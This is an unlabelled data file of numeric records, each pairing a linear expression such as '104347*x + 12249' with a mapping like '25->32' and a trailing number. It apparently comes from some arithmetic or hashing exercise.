104347*x + 12249 25->32 69 27689*x + 35 68->50 116 85843*x + 10846 80->76 124 17203*x + 4407 5->50 116 88789*x + 14794 89->20 62 10867*x + 6060 64->12 101 1321*x + 4090 53->73 102 18199*x + 709 63->0 33 54037*x + 1868 8->30 96 23447*x + 1016 55->39 113 46567*x + 6856 35->44 45 82699*x + 8090 40->51 97 102031*x + 12399 92->16 66 29167*x + 7853 91->83 12 81701*x + 7280 43->30 96 29473*x + 7113 44->10 46 28771*x + 4916 71->94 125 28921*x + 5371 7->25 52 857*x + 155 85->55 39 52027*x + 2833 78->10 46 62129*x + 5416 43->16 66 19429*x + 1157 20->25 52 30941*x + 4094 23->93 98 104323*x + 9727 86->6 123 16691*x + 212 35->0 33 22961*x + 7875 62->85 83 26021*x + 4997 37->51 97 34157*x + 3408 38->92 51 40213*x + 8092 75->65 95 95923*x + 14278 99->92 51 5347*x + 7165 36->82 40 38567*x + 2441 84->25 52 9697*x + 3001 13->73 102 100621*x + 9067 35->47 90 103651*x + 8356 46->0 33 28109*x + 5934 56->81 32 35407*x + 6806 86->86 53 13841*x + 5173 64->17 104 4027*x + 507 73->30 96 54713*x + 5044 71->28 50 77347*x + 611 59->46 74 26813*x + 2961 10->20 62 19543*x + 8060 27->2 72 9941*x + 8032 28->47 90 40153*x + 6858 93->36 79 31231*x + 4297 74->22 64 38803*x + 1140 86->28 50 15287*x + 7313 27->29 38 22697*x + 5263 28->28 50 3181*x + 2795 45->4 48 53951*x + 558 12->50 116 76801*x + 6483 61->48 78 39623*x + 2952 97->32 69 59113*x + 1376 14->16 66 24709*x + 797 5->80 110 32003*x + 3084 79->84 89 19913*x + 7781 1->33 122 14419*x + 2767 39->90 86 83911*x + 3840 71->71 37 27763*x + 7963 2->63 60 76261*x + 3308 10->1 112 96001*x + 13243 11->44 45 9649*x + 4937 52->91 91 72269*x + 4578 62->42 87 55733*x + 4602 80->32 69 90121*x + 15853 58->63 60 42961*x + 103 35->1 112 99109*x + 12532 7->41 73 15649*x + 3336 75->22 64 9041*x + 3312 32->20 62 69203*x + 1158 45->29 38 97777*x + 13131 54->88 71 104297*x + 9752 78->97 108 677*x + 7633 16->97 108 32717*x + 4182 95->74 55 78229*x + 3783 51->29 38 29129*x + 5265 44->37 114 11383*x + 3264 64->4 48 58427*x + 47 86->70 57 79631*x + 4298 51->21 9 35831*x + 3936 36->10 46 17903*x + 2239 73->10 46 2621*x + 1153 72->48 78 10321*x + 1549 15->43 105 1879*x + 5437 66->98 93 839*x + 4065 35->27 58 96493*x + 10920 27->23 11 2543*x + 124 98->83 12 88093*x + 9929 62->70 57 48131*x + 1905 69->91 91 49919*x + 6125 85->9 115 46691*x + 4072 18->25 52 1933*x + 5305 91->54 94 9787*x + 7851 6->51 97 57283*x + 3706 77->76 124 100669*x + 11060 82->84 89 2221*x + 2649 3->86 53 7877*x + 5888 49->28 50 11257*x + 8140 40->57 109 89119*x + 13904 33->71 37 14503*x + 5972 51->33 122 87359*x + 15241 2->37 114 79589*x + 2419 1->59 84 101341*x + 13248 90->75 56 55927*x + 1772 12->83 12 3943*x + 3901 46->31 47 44381*x + 5963 20->27 58 13757*x + 6330 9->33 122 33151*x + 7393 45->69 59 79349*x + 6791 30->16 66 18869*x + 905 32->71 37 90289*x + 15292 58->61 10 11171*x + 3558 23->15 63 41647*x + 1061 12->28 50 12113*x + 3996 69->94 125 35083*x + 4603 46->55 39 80471*x + 8186 49->65 95 68443*x + 5953 88->76 124 1733*x + 5273 49->15 63 84299*x + 8975 4->29 38 1087*x + 1689 81->68 36 50441*x + 1827 23->37 114 101411*x + 8831 47->30 96 72547*x + 5596 5->76 124 2357*x + 3093 21->38 75 88523*x + 9025 62->98 93 94049*x + 12254 89->61 10 41357*x + 701 40->99 54 95233*x + 16019 56->94 125 41177*x + 3830 27->61 10 5647*x + 958 66->49 68 47389*x + 2612 25->45 13 21683*x + 2989 76->10 46 6899*x + 6163 23->28 50 54083*x + 3500 38->44 45 66221*x + 3763 82->99 54 53527*x + 3683 71->72 92 8971*x + 6214 6->14 77 31147*x + 221 31->12 101 2713*x + 2462 71->73 102 9227*x + 7143 80->87 121 104381*x + 11283 73->85 83 54787*x + 2205 53->89 107 14731*x + 998 38->30 96 20947*x + 7862 16->49 68 18089*x + 2976 32->1 112 74279*x + 4575 32->51 97 82913*x + 7401 72->44 45 23297*x + 575 27->31 47 60943*x + 3963 58->24 65 81023*x + 4932 24->63 60 83227*x + 2669 63->84 89 28591*x + 5902 55->58 35 5573*x + 194 81->64 70 54751*x + 1513 34->10 46 54881*x + 3749 26->8 49 16363*x + 6544 60->10 46 84437*x + 9267 94->29 38 50909*x + 8087 29->68 36 41887*x + 7376 32->63 60 94253*x + 10436 76->57 109 84221*x + 10979 58->2 72 14717*x + 6888 10->57 109 98101*x + 14011 77->33 122 69929*x + 1628 62->84 89 67807*x + 7939 38->4 48 53089*x + 4748 80->77 106 40903*x + 3423 30->44 45 98299*x + 11475 32->50 116 104183*x + 12833 98->36 79 79939*x + 6644 74->96 67 6121*x + 7324 10->22 64 82787*x + 7777 18->98 93 103997*x + 13591 42->72 92 15607*x + 2374 9->10 46 67957*x + 787 56->47 90 47711*x + 2567 56->37 114 21481*x + 3398 76->73 102 66739*x + 5526 68->59 84 67061*x + 5856 44->77 106 1907*x + 6637 51->36 79 72469*x + 6690 72->20 62 4463*x + 7162 66->46 74 57781*x + 5933 71->1 112 3617*x + 2826 38->90 86 47657*x + 6814 13->18 80 1597*x + 166 16->27 58 6917*x + 5789 95->36 79 98939*x + 11009 59->9 115 60037*x + 938 53->52 42 55681*x + 5001 64->20 62 77893*x + 6121 88->53 120 76781*x + 5262 82->2 72 97927*x + 16168 16->62 103 16057*x + 1652 54->15 63 9883*x + 2637 2->23 11 37243*x + 1665 49->24 65 11003*x + 5781 34->31 47 56267*x + 1737 46->68 36 15473*x + 553 12->41 73 8419*x + 1136 48->85 83 80567*x + 7688 25->17 104 27737*x + 7164 9->16 66 15619*x + 877 75->78 76 47963*x + 7238 3->57 109 89123*x + 9922 76->19 61 2957*x + 2076 26->75 56 36559*x + 6283 36->71 37 93893*x + 15473 16->55 39 53887*x + 4586 48->83 12 16931*x + 7159 43->39 113 99563*x + 14241 45->78 76 57241*x + 1711 11->8 49 38351*x + 7220 95->56 119 66797*x + 2385 52->1 112 56663*x + 878 68->16 66 6781*x + 8049 85->67 117 12347*x + 5388 27->48 78 99497*x + 11087 53->94 125 9257*x + 3853 72->91 91 91453*x + 11841 91->0 33 74887*x + 4796 81->54 94 31687*x + 3857 13->98 93 12433*x + 1238 65->28 50 18119*x + 7300 45->95 111 7951*x + 6281 57->95 111 43103*x + 2659 44->39 113 21803*x + 5559 67->90 86 73951*x + 2399 58->22 64 41011*x + 7402 93->60 85 81041*x + 7627 29->46 74 27077*x + 1487 60->19 61 93739*x + 15993 99->20 62 51683*x + 7741 10->86 53 607*x + 2530 83->69 59 68053*x + 3780 18->44 45 21737*x + 1428 8->85 83 103183*x + 11880 0->6 123 101873*x + 12173 1->85 83 45307*x + 6957 21->50 116 66821*x + 3371 73->19 61 102259*x + 13005 37->45 13 23747*x + 4021 65->42 87 42061*x + 2355 43->72 92 38723*x + 6589 75->13 99 983*x + 6119 87->35 88 28901*x + 2747 56->69 59 78401*x + 5987 86->90 86 4723*x + 6321 25->36 79 6833*x + 3613 49->43 105 35771*x + 5601 59->74 55 9349*x + 454 46->44 45 47137*x + 4754 54->35 88 67843*x + 7005 28->14 77 72719*x + 390 16->4 48 31729*x + 7597 36->99 54 94777*x + 8312 85->36 79 35911*x + 1801 72->9 115 49789*x + 1435 32->2 72 12391*x + 6695 75->76 124 101293*x + 13713 35->99 54 13829*x + 2962 74->6 123 7643*x + 8024 79->57 109 87083*x + 10212 9->5 82 36313*x + 1407 26->93 98 10531*x + 2762 38->23 11 45677*x + 3289 22->28 50 39023*x + 172 10->79 100 83093*x + 3228 15->78 76 96337*x + 11129 84->7 126 24697*x + 4186 48->59 84 66103*x + 5979 63->34 41 14293*x + 7284 17->58 35 99643*x + 16154 52->77 106 79889*x + 1189 64->94 125 5641*x + 2858 5->29 38 89767*x + 10407 31->9 115 37339*x + 8047 59->67 117 5209*x + 6848 98->28 50 56041*x + 6722 74->28 50 61001*x + 319 61->32 69 6997*x + 4134 24->30 96 25579*x + 5899 68->1 112 20641*x + 7577 64->64 70 80629*x + 3083 76->91 91 90833*x + 16058 19->67 117 18671*x + 2520 22->48 78 6421*x + 1932 80->83 12 27953*x + 6253 91->24 65 54679*x + 3770 21->55 39 1129*x + 2430 38->63 60 63067*x + 1777 73->25 52 7577*x + 1598 22->22 64 6451*x + 2850 21->49 68 42407*x + 5783 68->3 118 13037*x + 984 88->59 84 73181*x + 8030 70->95 111 92657*x + 13761 48->67 117 42989*x + 5848 7->26 81 38321*x + 4497 72->96 67 3877*x + 4747 0->75 56 89839*x + 12807 81->38 75 81727*x + 7329 99->53 120 11447*x + 3324 47->38 75 51031*x + 3240 85->7 126 54371*x + 1414 24->19 61 32911*x + 4463 73->0 33 14969*x + 7716 30->28 50 91841*x + 9473 84->88 71 55639*x + 1802 0->22 64 41387*x + 2832 94->37 114 21211*x + 3204 33->79 100 60331*x + 2310 57->53 120 16811*x + 7755 74->83 12 71473*x + 126 56->21 9 19867*x + 1176 64->70 57 42283*x + 1815 80->89 107 20029*x + 1693 48->46 74 5167*x + 6114 68->27 58 53759*x + 2229 72->99 54 26053*x + 5107 44->85 83 66931*x + 6512 89->88 71 60223*x + 6872 72->53 120 3797*x + 7745 37->61 10 24421*x + 2541 9->28 50 25469*x + 5462 89->51 97 8681*x + 4599 8->52 42 8563*x + 6091 43->38 75 6079*x + 5082 3->83 12 58337*x + 518 71->32 69 56501*x + 6504 55->26 81 45497*x + 2180 43->25 52 2657*x + 5112 17->80 110 17231*x + 2033 28->61 10 60679*x + 5140 18->81 32 50207*x + 7188 46->90 86 19013*x + 6633 35->16 66 47653*x + 3657 32->75 56 45377*x + 4903 50->20 62 7549*x + 5541 73->82 40 93337*x + 9940 93->78 76 6301*x + 1211 10->23 11 38729*x + 409 38->36 79 74231*x + 4456 31->60 85 14177*x + 4135 49->2 72 22739*x + 4872 15->34 41 9923*x + 4213 3->48 78 37307*x + 3870 41->21 9 81637*x + 1241 99->16 66 28219*x + 1103 10->46 74 38737*x + 7128 88->79 100 3931*x + 5285 56->79 100 25013*x + 5706 86->95 111 53233*x + 1104 25->44 45 60637*x + 386 2->28 50 50971*x + 6207 4->88 71 67141*x + 374 26->32 69 29251*x + 7182 38->42 87 2767*x + 1736 45->20 62 74573*x + 1082 32->10 46 2111*x + 2784 31->19 61 102107*x + 9684 32->64 70 46181*x + 5895 32->15 63 78893*x + 3476 43->14 77 3169*x + 1264 36->13 99 93949*x + 12825 19->80 110 59747*x + 3953 30->87 121 88327*x + 14545 57->77 106 90107*x + 9286 2->55 39 29917*x + 8051 54->61 10 57689*x + 4150 5->62 103 38459*x + 4177 52->62 103 60917*x + 1755 13->10 46 70969*x + 3419 59->64 70 84551*x + 13295 73->77 106 69149*x + 4296 92->50 116 1663*x + 3348 27->95 111 21313*x + 127 72->8 49 84263*x + 9591 34->98 93 23561*x + 3772 22->49 68 77983*x + 4161 13->31 47 87589*x + 12477 73->60 85 90911*x + 10590 0->18 80 89657*x + 8371 21->35 88 46073*x + 2834 50->71 37 30703*x + 7282 27->93 98 40849*x + 6680 1->1 112 102761*x + 15609 29->13 99 15541*x + 3566 11->96 67 87383*x + 11069 72->86 53 48539*x + 2886 28->92 51 33941*x + 6727 83->64 70 99971*x + 15988 65->14 77 85213*x + 10431 37->83 12 52567*x + 2651 37->58 35 1613*x + 1386 32->34 41 29173*x + 4563 99->29 38 16333*x + 6932 85->17 104 90599*x + 11695 3->55 39 8093*x + 4364 99->79 100 21529*x + 1672 10->6 123 40087*x + 1091 79->78 76 13633*x + 3115 18->56 119 94327*x + 9980 85->42 87 80513*x + 7878 54->74 55 9241*x + 7450 99->93 98 81769*x + 21 65->90 86 48673*x + 6904 35->68 36 101957*x + 12252 66->57 109 75167*x + 5024 78->4 48 19553*x + 3522 49->79 100 55441*x + 4917 14->0 33 41579*x + 1126 99->63 60 67783*x + 5481 96->86 53 22637*x + 4714 73->71 37 13297*x + 851 28->60 85 1223*x + 5194 8->68 36 42611*x + 4841 72->16 66 34913*x + 6211 96->28 50 49367*x + 2218 58->38 75 24809*x + 5197 62->36 79 79393*x + 5346 48->79 100 85109*x + 9773 62->57 109 20753*x + 7966 72->95 111 28463*x + 5931 16->98 93 6569*x + 1706 71->98 93 30971*x + 3805 89->28 50 101489*x + 9230 19->21 9 56611*x + 3465 71->26 81 24223*x + 6098 78->93 98 91153*x + 8971 5->70 57 6029*x + 571 83->37 114 48017*x + 4732 67->78 76 88129*x + 15254 44->69 59 35059*x + 2736 80->70 57 77573*x + 6666 73->87 121 73877*x + 2928 65->18 80 35053*x + 7089 79->69 59 22031*x + 2707 57->21 9 4349*x + 6033 4->43 105 78167*x + 6299 87->95 111 27367*x + 6586 47->94 125 15887*x + 4959 17->99 54 66721*x + 8013 15->87 121 3571*x + 4259 74->79 100 66883*x + 694 79->0 33 89513*x + 15372 25->66 44 28927*x + 6825 0->3 118 95597*x + 12049 71->35 88 14281*x + 6027 18->4 48 12277*x + 7096 66->41 73 86981*x + 8199 46->57 109 83233*x + 2837 68->9 115 12437*x + 4466 5->20 62 30853*x + 8110 93->56 119 55897*x + 7115 60->76 124 96289*x + 15076 18->33 122 92623*x + 9558 75->95 111 49549*x + 4114 46->71 37 4049*x + 7689 91->13 99 91807*x + 14550 32->68 36 21487*x + 7149 72->92 51 55219*x + 5832 92->11 43 19079*x + 7477 65->68 36 15383*x + 2087 44->11 43 23029*x + 3142 11->92 51 81931*x + 5479 54->94 125 7187*x + 6887 69->18 80 96763*x + 11553 18->6 123 87767*x + 15446 16->40 34 7919*x + 6918 66->55 39 6143*x + 728 90->36 79 2417*x + 4762 30->85 83 76753*x + 5157 57->44 45 26981*x + 5576 53->36 79 21577*x + 892 44->12 101 92233*x + 11056 66->76 124 83257*x + 5836 77->71 37 64709*x + 4159 15->97 108 12143*x + 4256 93->93 98 179*x + 6808 55->52 42 56893*x + 5224 24->80 110 30661*x + 4049 77->43 105 35111*x + 7821 93->71 37 15217*x + 4314 94->41 73 33493*x + 2003 56->18 80 23687*x + 4272 16->11 43 33721*x + 3271 85->53 120 12491*x + 3836 39->2 72 92179*x + 9144 65->77 106 26431*x + 3090 9->66 44 90019*x + 15893 8->22 64 20879*x + 5985 46->45 13 53857*x + 6324 86->81 32 72503*x + 4391 3->44 45 45667*x + 6564 59->30 96 32057*x + 677 62->23 11 97463*x + 13449 93->17 104 20731*x + 1786 74->74 55 8287*x + 6654 8->4 48 25603*x + 3863 1->74 55 19793*x + 1951 78->36 79 62753*x + 1253 2->56 119 57301*x + 227 10->70 57 76943*x + 7315 21->93 98 1997*x + 4775 70->51 97 14897*x + 2067 27->97 108 87121*x + 14868 38->18 80 99233*x + 10115 41->79 100 73037*x + 8184 4->8 49 96893*x + 14384 78->64 70 49921*x + 2880 85->29 38 47507*x + 2881 78->77 106 9181*x + 4551 14->85 83 24571*x + 869 29->33 122 4903*x + 1172 4->98 93 30529*x + 355 37->68 36 27059*x + 3414 35->64 70 75041*x + 80 56->77 106 28843*x + 4970 22->29 38 71471*x + 871 20->21 9 71881*x + 6032 47->54 94 80989*x + 2473 38->68 36 50459*x + 2972 62->86 53 84509*x + 9666 52->93 98 8293*x + 4490 10->40 34 27631*x + 6758 44->41 73 78307*x + 4772 15->53 120 71933*x + 7542 56->31 47 90533*x + 13216 43->67 117 37517*x + 3421 59->96 67 46757*x + 6719 53->10 46 9337*x + 6920 83->81 32 84559*x + 10816 9->85 83 19501*x + 7140 14->70 57 9833*x + 2196 61->79 100 93529*x + 10662 61->39 113 104549*x + 12850 94->52 42 7151*x + 1138 14->64 70 69931*x + 5320 51->46 74 99431*x + 13583 87->19 61 36677*x + 4842 45->15 63 24749*x + 7231 2->75 56 15493*x + 7843 89->10 46 51257*x + 361 43->88 71 84347*x + 10457 27->50 116 14143*x + 49 26->19 61 10267*x + 6122 13->94 125 13963*x + 936 61->42 87 99571*x + 9817 84->84 89 11399*x + 1842 17->84 89 87803*x + 9091 1->55 39 34403*x + 2835 54->24 65 93001*x + 9005 89->4 48 95549*x + 9403 86->19 61 29633*x + 2167 37->94 125 54311*x + 5459 74->20 62 58979*x + 282 36->49 68 39107*x + 1713 16->75 56 26729*x + 7307 2->42 87 54773*x + 2524 74->59 84 25447*x + 2372 55->46 74 101747*x + 8468 69->14 77 2521*x + 6141 85->85 83 84061*x + 14941 68->2 72 62143*x + 5421 86->85 83 4657*x + 3981 68->52 42 50129*x + 2839 81->59 84 30593*x + 1452 64->45 13 86263*x + 16117 56->11 43 103043*x + 13398 55->84 89 31643*x + 1151 74->12 101 257*x + 3905 96->42 87 79609*x + 8135 40->47 90 68927*x + 7074 60->45 13 36191*x + 5592 46->23 11 55793*x + 3252 89->74 55 82729*x + 1446 2->85 83 70571*x + 1337 57->96 67 83737*x + 1870 6->7 126 43319*x + 2544 73->41 73 61543*x + 2726 81->62 103 100547*x + 9993 36->43 105 98963*x + 10147 80->34 41 64951*x + 1558 26->84 89 73961*x + 2288 66->4 48 7757*x + 18 71->97 108 101279*x + 9837 66->53 120 45481*x + 4908 21->19 61 27479*x + 7558 20->12 101 26501*x + 2521 3->81 32 2551*x + 1699 37->74 55 30911*x + 5624 52->26 81 59627*x + 5845 66->71 37 44579*x + 3789 63->89 107 100271*x + 12032 70->78 76 14033*x + 2481 92->8 49 83063*x + 5911 32->73 102 37369*x + 7227 68->85 83 99709*x + 14502 79->56 119 96989*x + 10917 41->43 105 55817*x + 2411 79->55 39 74413*x + 4606 31->28 50 3697*x + 824 37->55 39 70451*x + 5124 42->6 123 16061*x + 8112 23->33 122 78311*x + 3621 12->1 112 59971*x + 7118 19->42 87 77681*x + 6105 54->69 59 19237*x + 4236 72->64 70 48073*x + 2842 12->19 61 90059*x + 15072 50->44 45 41189*x + 901 74->26 81 1697*x + 7765 58->78 76 40829*x + 2900 42->39 113 96797*x + 12337 15->14 77 65179*x + 3059 79->37 114 95819*x + 15341 86->91 91 2213*x + 4022 13->70 57 50929*x + 3245 88->39 113 32321*x + 372 40->44 45 44777*x + 4812 49->85 83 10799*x + 642 15->92 51 3209*x + 3508 96->6 123 100279*x + 11887 71->18 80 40973*x + 7002 19->46 74 58417*x + 7216 45->54 94 31139*x + 6492 79->82 40 47939*x + 7940 1->9 115 74363*x + 2360 19->44 45 56711*x + 7584 20->53 120 34057*x + 2898 72->90 86 64891*x + 4081 10->80 110 27901*x + 5213 88->62 103 21601*x + 6833 54->43 105 51913*x + 123 91->23 11 73679*x + 226 94->93 98 100943*x + 15278 23->34 41 67211*x + 5499 81->93 98 12251*x + 6847 26->65 95 41051*x + 2503 34->50 116 19927*x + 2748 27->5 82 76679*x + 6426 50->83 12 33967*x + 6300 35->10 46 44189*x + 1773 52->56 119 59497*x + 7707 16->6 123 10067*x + 2723 6->28 50 44357*x + 271 74->24 65 80651*x + 4086 64->40 34 70549*x + 5500 84->3 118 87917*x + 13808 71->11 43 1301*x + 5052 19->9 115 21557*x + 1137 26->29 38 77191*x + 2426 63->67 117 23189*x + 3641 14->96 67 69163*x + 2992 1->19 61 102871*x + 15605 45->26 81 84067*x + 15755 70->33 122 28477*x + 4070 18->57 109 4127*x + 5250 63->28 50 92357*x + 13962 41->19 61 1429*x + 7274 39->10 46 100673*x + 14223 51->83 12 1847*x + 5821 48->96 67 58231*x + 4549 80->17 104 99623*x + 14328 59->84 89 47777*x + 868 82->68 36 33757*x + 2480 17->98 93 10651*x + 396 27->63 60 68447*x + 7608 73->7 126 9221*x + 6011 13->90 86 21767*x + 758 89->95 111 58613*x + 7088 9->58 35 11087*x + 5440 0->14 77 18461*x + 37 92->99 54 60509*x + 7079 88->38 75 85451*x + 15937 14->62 103 36691*x + 3719 41->87 121 89293*x + 14595 48->50 116 38851*x + 7294 45->57 109 77279*x + 1250 37->28 50 70039*x + 7525 20->0 33 9547*x + 7936 91->73 102 58271*x + 1020 20->4 48 93703*x + 13477 29->30 96 9283*x + 1370 48->92 51 37313*x + 2926 39->48 78 43787*x + 7837 69->30 96 33587*x + 6058 52->69 59 1931*x + 7670 1->6 123 20759*x + 4659 16->85 83 100517*x + 12913 5->82 40 19219*x + 1219 5->98 93 53657*x + 7400 54->21 9 39791*x + 1273 44->51 97 62141*x + 1817 17->13 99 92569*x + 15827 67->89 107 9851*x + 4677 97->88 71 41669*x + 4018 56->92 51 51431*x + 5043 96->5 82 101419*x + 10626 99->25 52 25633*x + 2859 4->14 77 4871*x + 6818 94->86 53 2549*x + 1469 58->25 52 14083*x + 2916 25->53 120 45061*x + 4733 22->18 80 13229*x + 7186 99->13 99 15527*x + 7536 94->9 115 88337*x + 8470 5->32 69 41017*x + 456 60->83 12 43201*x + 5400 16->92 51 22133*x + 5628 91->78 76 50527*x + 256 44->25 52 79103*x + 1315 1->78 76 33301*x + 4378 9->42 87 3001*x + 7918 54->11 43 29587*x + 1367 81->18 80 33533*x + 2865 17->26 81 99809*x + 8858 45->14 77 19163*x + 5721 17->36 79 2293*x + 2225 65->99 54 79427*x + 3230 98->97 108 85229*x + 13563 30->17 104 78779*x + 2392 86->96 67 13691*x + 3721 32->43 105 76367*x + 3305 14->7 126 82721*x + 7540 79->16 66 60209*x + 7694 54->32 69 69029*x + 890 96->33 122 62299*x + 8165 14->76 124 91673*x + 15211 47->64 70 1867*x + 1776 56->5 82 96013*x + 11615 96->88 71 39313*x + 6522 88->73 102 31333*x + 6345 49->29 38 7583*x + 5614 18->13 99 18979*x + 646 77->34 41 53197*x + 495 83->42 87 37181*x + 3924 15->1 112 33851*x + 3350 11->1 112 93103*x + 12938 21->23 11 8011*x + 2308 7->35 88 40483*x + 6026 27->60 85 57223*x + 2662 27->42 87 11617*x + 2471 76->52 42 59399*x + 2192 53->51 97 3739*x + 3009 57->67 117 102121*x + 10363 41->82 40 97039*x + 12422 81->44 45 98047*x + 8980 53->92 51 84991*x + 14251 6->71 37 55661*x + 1779 36->66 44 36217*x + 2352 42->95 111 61169*x + 7387 58->54 94 82529*x + 7776 38->13 99 51001*x + 5170 20->42 87 67103*x + 1440 69->27 58 23509*x + 4899 28->48 78 32941*x + 6877 19->64 70 82339*x + 7580 98->33 122 75553*x + 3306 43->4 48 51691*x + 6342 76->77 106 52747*x + 2484 41->6 123 41233*x + 4638 36->80 110 1373*x + 778 66->82 40 70951*x + 5696 24->61 10 98453*x + 8763 95->48 78 8053*x + 4846 34->61 10 74731*x + 7857 85->96 67 4933*x + 3708 61->66 44 6529*x + 3877 4->70 57 98369*x + 15139 18->43 105 96137*x + 13999 68->29 38 3253*x + 2727 37->33 122 10729*x + 5476 85->23 11 49003*x + 5807 56->16 66 30253*x + 3304 79->70 57 20287*x + 1749 77->72 92 45259*x + 3135 5->8 49 52009*x + 7803 4->13 99 24109*x + 129 63->31 47 48869*x + 3618 43->54 94 8527*x + 4935 64->65 95 27427*x + 3496 48->31 47 31489*x + 6924 36->44 45 49417*x + 6229 10->12 101 20011*x + 4170 56->68 36 75479*x + 1232 86->3 118 86269*x + 12101 3->75 56 76697*x + 6966 56->41 73 53633*x + 2640 70->4 48 71039*x + 7065 74->41 73 89371*x + 12793 48->40 34 52103*x + 6384 47->78 76 92297*x + 14814 90->19 61 89977*x + 10463 11->75 56 14947*x + 6422 45->51 97 42403*x + 7478 31->27 58 60647*x + 3301 10->67 117 80153*x + 3887 21->17 104 34981*x + 7885 31->99 54 61091*x + 5704 0->72 92 77369*x + 4684 66->69 59 4019*x + 4192 80->9 115 26399*x + 1595 92->43 105 36017*x + 7092 91->55 39 29789*x + 1617 35->8 49 75941*x + 661 99->60 85 94781*x + 8721 10->82 40 3853*x + 7700 52->70 57 75541*x + 3219 45->75 56 56519*x + 255 68->94 125 1553*x + 1509 85->62 103 8009*x + 136 23->31 47 94727*x + 8944 85->79 100 1171*x + 2857 48->34 41 33547*x + 1572 66->43 105 74209*x + 6053 16->38 75 96821*x + 15406 98->90 86 39103*x + 5240 63->9 115 1193*x + 4447 61->11 43 47563*x + 8155 98->38 75 49211*x + 6362 4->51 97 88853*x + 11466 2->84 89 28319*x + 2020 93->57 109 62971*x + 5323 82->29 38 22573*x + 2340 60->13 99 83843*x + 2559 36->32 69 2027*x + 3334 9->19 61 29191*x + 2474 0->39 113 61879*x + 7323 13->16 66 23833*x + 5834 93->83 12 52201*x + 55 4->4 48 30509*x + 2114 20->11 43 84793*x + 15913 51->9 115 40177*x + 5 19->34 41 57839*x + 5426 64->5 82 8089*x + 1267 11->80 110 80141*x + 6861 50->91 91 37361*x + 911 38->54 94 44701*x + 1275 61->49 68 10613*x + 919 70->94 125 19759*x + 606 59->35 88 6491*x + 4999 80->8 49 58453*x + 591 24->64 70 26879*x + 270 39->24 65 4217*x + 7507 68->58 35 6011*x + 4642 6->93 98 34217*x + 3969 32->4 48 92221*x + 13927 12->18 80 91529*x + 11764 97->73 102 77383*x + 1538 50->4 48 61253*x + 6326 78->96 67 22861*x + 5634 23->25 52 103801*x + 10499 95->24 65 57679*x + 2910 24->38 75 14783*x + 4174 77->31 47 59557*x + 5490 15->58 35 8839*x + 4827 53->34 41 12893*x + 2085 62->72 92 46687*x + 2488 93->6 123 55949*x + 6618 10->10 46 66877*x + 2250 64->73 102 83339*x + 5533 22->1 112 29881*x + 4061 84->70 57 101869*x + 8407 13->68 36 97441*x + 10321 30->61 10 18329*x + 7892 87->61 10 997*x + 6394 44->74 55 11317*x + 3584 18->51 97 21023*x + 6828 8->46 74 76537*x + 3998 88->80 110 56783*x + 8085 28->96 67 90281*x + 11098 17->15 63 77999*x + 6447 99->45 13 100043*x + 15350 95->4 48 77377*x + 7000 13->82 40 93319*x + 15757 3->50 116 78179*x + 6852 26->17 104 18401*x + 2025 69->97 108 24473*x + 6126 36->59 84 86837*x + 13080 61->91 91 91781*x + 13662 56->8 49 16127*x + 4749 87->26 81 102643*x + 13083 56->70 57 2161*x + 5189 34->78 76 43579*x + 1629 49->95 111 56377*x + 3623 87->71 37 65287*x + 6164 94->58 35 53593*x + 3460 74->54 94 37997*x + 2072 40->21 9 6257*x + 7524 99->27 58 76303*x + 1674 26->82 40 64063*x + 1341 34->71 37 104681*x + 14634 69->43 105 71437*x + 6286 95->97 108 23027*x + 2150 15->20 62 73529*x + 4657 56->88 71 19319*x + 6712 28->29 38 98993*x + 12437 76->94 125 49363*x + 817 70->23 11 58909*x + 7613 69->16 66 691*x + 3883 87->14 77 4051*x + 669 22->10 46 26297*x + 2755 46->27 58 7873*x + 444 92->21 9 31859*x + 8072 48->9 115 94771*x + 10831 86->0 33 76771*x + 5528 21->98 93 75011*x + 4823 89->25 52 98849*x + 10254 92->83 12 82073*x + 6160 26->58 35 73643*x + 1908 80->59 84 27917*x + 4933 17->69 59 67447*x + 58 15->71 37 44843*x + 2694 41->46 74 98911*x + 15042 36->58 35 76243*x + 1968 61->52 42 89113*x + 12256 3->49 68 10589*x + 1837 92->14 77 38377*x + 3397 72->61 10 45707*x + 4326 24->66 44 52697*x + 1695 97->80 110 90199*x + 12105 5->96 67 29723*x + 934 62->49 68 25247*x + 3446 11->52 42 46771*x + 6453 67->14 77 53551*x + 3510 17->54 94 24359*x + 3607 15->27 58 9043*x + 428 95->76 124 26951*x + 2724 48->62 103 77351*x + 7039 43->58 35 50891*x + 6082 38->94 125 70157*x + 2242 32->32 69 15973*x + 912 22->44 45 84143*x + 14332 45->30 96 22783*x + 1230 15->66 44 85717*x + 8391 19->3 118 74507*x + 5402 48->39 113 17569*x + 6787 76->6 123 33179*x + 1256 22->77 106 90197*x + 13872 20->52 42 16747*x + 5427 81->15 63 69067*x + 3108 43->66 44 55819*x + 4482 27->0 33 90641*x + 11684 84->61 10 84089*x + 12145 40->98 93 100151*x + 14939 17->87 121 24841*x + 6181 7->85 83 56359*x + 5591 81->29 38 6217*x + 1317 8->18 80 54521*x + 2489 28->1 112 44537*x + 2902 50->68 36 48079*x + 5926 86->48 78 9013*x + 1881 30->88 71 7307*x + 159 51->50 116 23063*x + 4067 90->35 88 34283*x + 7283 3->46 74 1601*x + 2330 57->69 59 80173*x + 7611 92->9 115 89959*x + 13817 96->47 90 37633*x + 5739 58->91 91 52667*x + 4445 31->84 89 86131*x + 14109 60->99 54 62659*x + 3089 50->22 64 28277*x + 3512 13->0 33 16879*x + 6645 44->89 107 27947*x + 593 82->58 35 44927*x + 1735 41->69 59 7243*x + 5296 41->51 97 26293*x + 7976 68->18 80 90023*x + 14758 13->74 55 8273*x + 3818 32->60 85 20431*x + 7528 0->4 48 7499*x + 1328 42->55 39 12269*x + 4790 23->17 104 19447*x + 1196 59->76 124 8389*x + 6202 43->2 72 2729*x + 1470 52->4 48 26113*x + 6764 19->10 46 54319*x + 4600 71->37 114 66697*x + 1391 3->33 122 57847*x + 6993 59->37 114 29501*x + 7008 22->71 37 1987*x + 1035 57->16 66 86627*x + 13745 30->30 96 28513*x + 1162 11->76 124 60689*x + 6625 40->48 78 11489*x + 1003 15->95 111 79111*x + 5089 71->53 120 27017*x + 3498 33->39 113 59407*x + 4401 75->80 110 71527*x + 8191 50->86 53 42209*x + 42 48->26 81 24971*x + 3152 48->55 39 70667*x + 4039 17->59 84 45319*x + 2260 60->52 42 65599*x + 1724 65->67 117 16741*x + 1427 88->12 101 75619*x + 1424 20->41 73 21383*x + 3410 72->85 83 97987*x + 12309 59->23 11 23117*x + 3928 92->35 88 45343*x + 6388 95->81 32 94397*x + 12487 79->9 115 20399*x + 4562 85->54 94 56209*x + 6148 